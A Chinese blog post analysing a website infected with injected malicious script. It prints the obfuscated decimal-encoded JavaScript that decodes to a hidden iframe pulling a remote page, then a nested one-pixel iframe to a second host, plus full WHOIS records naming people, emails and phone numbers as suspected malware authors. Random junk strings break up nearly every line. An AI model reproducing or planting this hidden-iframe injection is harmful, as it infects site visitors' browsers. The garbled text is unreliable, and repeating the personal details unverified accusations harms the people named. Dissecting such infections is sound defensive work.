首发在我的博客里面，
fk5XvL Q
e1oT) http://www.areway.cn/?p=175 FMu !z
PDw{R]V+ R Td^ImV 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
sm s1%%~ pb B2wt <script>t=’60,105,102,114,97,109,101,
RfbdB sL 32,115,114,99,61,104,116,116,112,58,47,47,
rS~qi}4X 102,114,101,101,46,117,45,117,117,117,46,99,
Qp:6= o0: 110,47,101,114,114,111,114,46,104,116,109,
p$!@ I 32,119,105,100,116,104,61,49,48,48,32,104,
Uh6mGL z*& 101,105,103,104,116,61,48,62,60,47,105,102,
boQ)fV" 114,97,109,101,62′;
o+)A'S t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
^o%_W0_r P"4M m,
C <script>t=’60,105,102,114,97,109,101,32,115,
ha'qIT 3& 114,99,61,104,116,116,112,58,47,47,102,114,
~Q!~ eTw 101,101,46,117,45,117,117,117,46,99,110,47,
1
Nk1MGV 101,114,114,111,114,46,104,116,109,32,119,
c 2b6 B.4 105,100,116,104,61,49,48,48,32,104,101,105,
\j:gr>4 103,104,116,61,48,62,60,47,105,102,114,97,
&,u C9$ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
Z>{*ISvpq document.write(t);</script>
Ve:&'~F2 s :c;_a-69 <html xmlns=”
5!:._TcO http://www.w3.org/1999/xhtml di_gWE “>
8*k oxS <head>
cHn;}l!I <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
FuMq|S <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
Z}f^qc+ <title>首页 - 爱生活家庭网
;qVG
\wQq n8FT<pUq 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
lQr6; D}+ 转换字符串后的大概内容是（谁点击后果自付）：
1,u{&%yL"w <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
-,@bA @& +G\0L_B 查询玉米u-uuu.cn的详细信息：
'^lUL) R Domain Name: u-uuu.cn
s;>VeD)*) ROID: 20070901s10001s64972306-cn
xc *!W*04 Domain Status: ok
LI:?Y_r Registrant Organization: 王雷
o~}1 oN Registrant Name: 王雷
hOSf'mi Administrative Email:
czlovexs@126.com 8v$ g Sponsoring Registrar: 北京万网志成科技有限公司
;: ^ Lv Name Server:ns.yovole.com
v+ 7*R)/ Name Server:ns1.yovole.com
g?$e^ls Registration Date: 2007-09-01 17:54
9M0d+:YJ Expiration Date: 2008-09-01 17:54
$OT}`Te~ 最后PING了一下地址 都没有什么….
/\TlO.B= ~e+0c'n\ 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
xtu]F <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
H&u4v2
<script language=”javascript” src=”
e7hO;=?b' http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script ^VC7C~NZ!M >
^h"n03VFA 这个玉米应该有可能是木马作者的：
->Q`'@'|P foafau.info的详细信息：
"?`JA7~g Access to INFO WHOIS information is provided to assist persons in
B[Ix?V4yy determining the contents of a domain name registration record in the
g!.Ut:8L9 Afilias registry database. The data in this record is provided by
sOjF?bCdO Afilias Limited for informational purposes only, and Afilias does not
Skr iX\p guarantee its accuracy. This service is intended only for query-based
1wU=WE(kKZ access. You agree that you will use this data only for lawful purposes
d{iL?>' ?^ and that, under no circumstances will you use this data to: (a) allow,
T:dX4=z enable, or otherwise support the transmission by e-mail, telephone, or
mC% %)F'Zf facsimile of mass unsolicited, commercial advertising or solicitations
K] %N-F>r to entities other than the data recipient’s own existing customers; or
\kfcv (b) enable high volume, automated, electronic processes that send
$]Rl__; queries or data to the systems of Registry Operator, a Registrar, or
oMz/sL'u Afilias except as reasonably necessary to register domain names or
5_PWGaQa modify existing registrations. All rights reserved. Afilias reserves
nP5d? the right to modify these terms at any time. By submitting this query,
//6^+ -he you agree to abide by this policy.
d~vTD| Et Domain ID:D22418703-LRMS
+$(71#'y Domain Name:FOAFAU.INFO
d"LoK,p# Created On:20-Nov-2007 16:05:42 UTC
Vx}Yl&*D Last Updated On:20-Nov-2007 16:05:44 UTC
[U% .Gi Expiration Date:20-Nov-2008 16:05:42 UTC
)A"ZV[eOoQ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
J& n ^y Status:CLIENT DELETE PROHIBITED
rL.<Z@ - Status:CLIENT RENEW PROHIBITED
^l&nB . Status:CLIENT TRANSFER PROHIBITED
-qs(2^ Status:CLIENT UPDATE PROHIBITED
,*q#qW !! Status:TRANSFER PROHIBITED
:,urb* Registrant ID:GODA-040110615
g & |4 Registrant Name:liu hong
0>I]=M]@ Registrant Organization:
QQ5 lW Registrant Street1:beijing
j{-mQTSD Registrant Street2:
**Qe`}E: Registrant Street3:
rs d2v9 Registrant City:beijing
ev)rOcOU Registrant State/Province:
(ra:?B Registrant Postal Code:100000
3"HGEUqA Registrant Country:CN
D)f5pEq' Registrant Phone:+86.860108888777
N)9pz?*V Registrant Phone Ext.:
%"1`
NT Registrant FAX:
b nA T,v{ Registrant FAX Ext.:
YJ &lB&xH Registrant Email:bbbshiji@163.com
2 ]?w~qjWm Admin ID:GODA-240110615
W?SP . -I Admin Name:liu hong
HVtr,jg Admin Organization:
R-=_z 6< Admin Street1:beijing
E1$Hu{ Admin Street2:
5xG|35Pj Admin Street3:
M"k3zK, Admin City:beijing
4.,KEt'H Admin State/Province:
</K%i;l Admin Postal Code:100000
#a|6Q 8 Admin Country:CN
~E^yM=:h Admin Phone:+86.860108888777
ckH$E%j Admin Phone Ext.:
^4y(pcD Admin FAX:
I}6DoLbV Admin FAX Ext.:
|V 5 $'/Y Admin Email:bbbshiji@163.com
q[PD Billing ID:GODA-340110615
"R@$Wu53| Billing Name:liu hong
m_{%tU;N Billing Organization:
A^}i^ Billing Street1:beijing
v9j4|w Billing Street2:
*/0vJz%<.M Billing Street3:
d,GtH)( s Billing City:beijing
$|`t9-EA/ Billing State/Province:
5Z4(J?n Billing Postal Code:100000
KdB q@ Billing Country:CN
w^:V."}-$ Billing Phone:+86.860108888777
el2*\(XT Billing Phone Ext.:
}}4 sh5z Billing FAX:
::3iXk) Billing FAX Ext.:
b7W= HR Billing Email:bbbshiji@163.com
EI?d(K Tech ID:GODA-140110615
N$=(1`zM= Tech Name:liu hong
>|UrxJ7 Tech Organization:
a>&;K@ Tech Street1:beijing
'S%} ?#J Tech Street2:
73^ T * Tech Street3:
6b#:H~ < Tech City:beijing
&;~2sEo, Tech State/Province:
.N zW @| Tech Postal Code:100000
w (vE2Y ? Tech Country:CN
#f |NM7 Tech Phone:+86.860108888777
L 5V'Sr Tech Phone Ext.:
/el["l Tech FAX:
6oTbn{=UUq Tech FAX Ext.:
|1<]o; : Tech Email:bbbshiji@163.com
?[hy|r6$ Name Server:NS27.DOMAINCONTROL.COM
Q}=W>|aE. Name Server:NS28.DOMAINCONTROL.COM
p ,[XT`q^ Name Server:
|%2/I>o Name Server:
He0N Name Server:
HX /GLnY/X Name Server:
[6&CloY3 Name Server:
U'Ja\Ek/ f Name Server:
k+7M|t.?4 Name Server:
Z3abem<Q Name Server:
iXG>j.w{79 Name Server:
oM18a R& Name Server:
Q~b M Name Server:
quCWc2pXX Jm) ; |#y 接着下载每个文件里面的代码：
)D" G3g. 一步一步看..
mNnw G);$ 
\:q e3Q 
4U! .UNi 
N[
Lz 0 c? 
IioE<wS) 
RaM#@D7 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
